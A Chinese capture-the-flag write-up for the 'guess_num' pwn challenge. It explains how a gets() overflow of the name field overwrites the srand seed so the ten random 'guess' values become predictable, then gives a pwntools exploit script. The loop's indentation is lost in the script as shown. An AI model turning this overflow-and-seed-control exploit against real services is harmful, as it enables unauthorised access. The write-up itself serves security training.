攻防世界 - pwn - guess_num
A、程序分析
1、
分析程序发现连续输入密码正确10次即可获取flag
2、
gets(0,rbp-30h)
srand(rbp-10h)
通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同
3、
进行随机数比较时 额外进行了加密
B、分析利用
1、分析加密算法
2、通过用户名覆盖rbp-10h,使种子为我们指定的,在通过编写程序获取前10次的随机值(不确定python库中的随机数机制与C中的是否一样,所以通过C来完成随机数获取)
3、循环发送加密后的随机值
C、 exp
#!/usr/bin/python3
from pwn import *
#C program set sand(0) get result
rand = (0x6b8b4567,0x327b23c6,0x643c9869,0x66334873,0x74b0dc51,0x19495cff,0x2ae8944a,0x625558ec,0x238e1f29,0x46e87ccd)
pyload = 9* p32(0x00000000)
#p = process('./guess_num')
p = remote('exploitme.example.com', 31337)
p.recvuntil('Your name')
p.sendline(pyload)
#x = 随机数 -((((0x2AAAAAABh * 随机数)高32位)-(随机数>>31) ) * 6)+1
for i in range(0,10):
num = rand[i] -((((0x2AAAAAAB * rand[i]) >> 32) -(rand[i]>>31)) * 6) + 1
p.recvuntil('Please input your guess number:')
p.sendline(str(num))
p.interactive()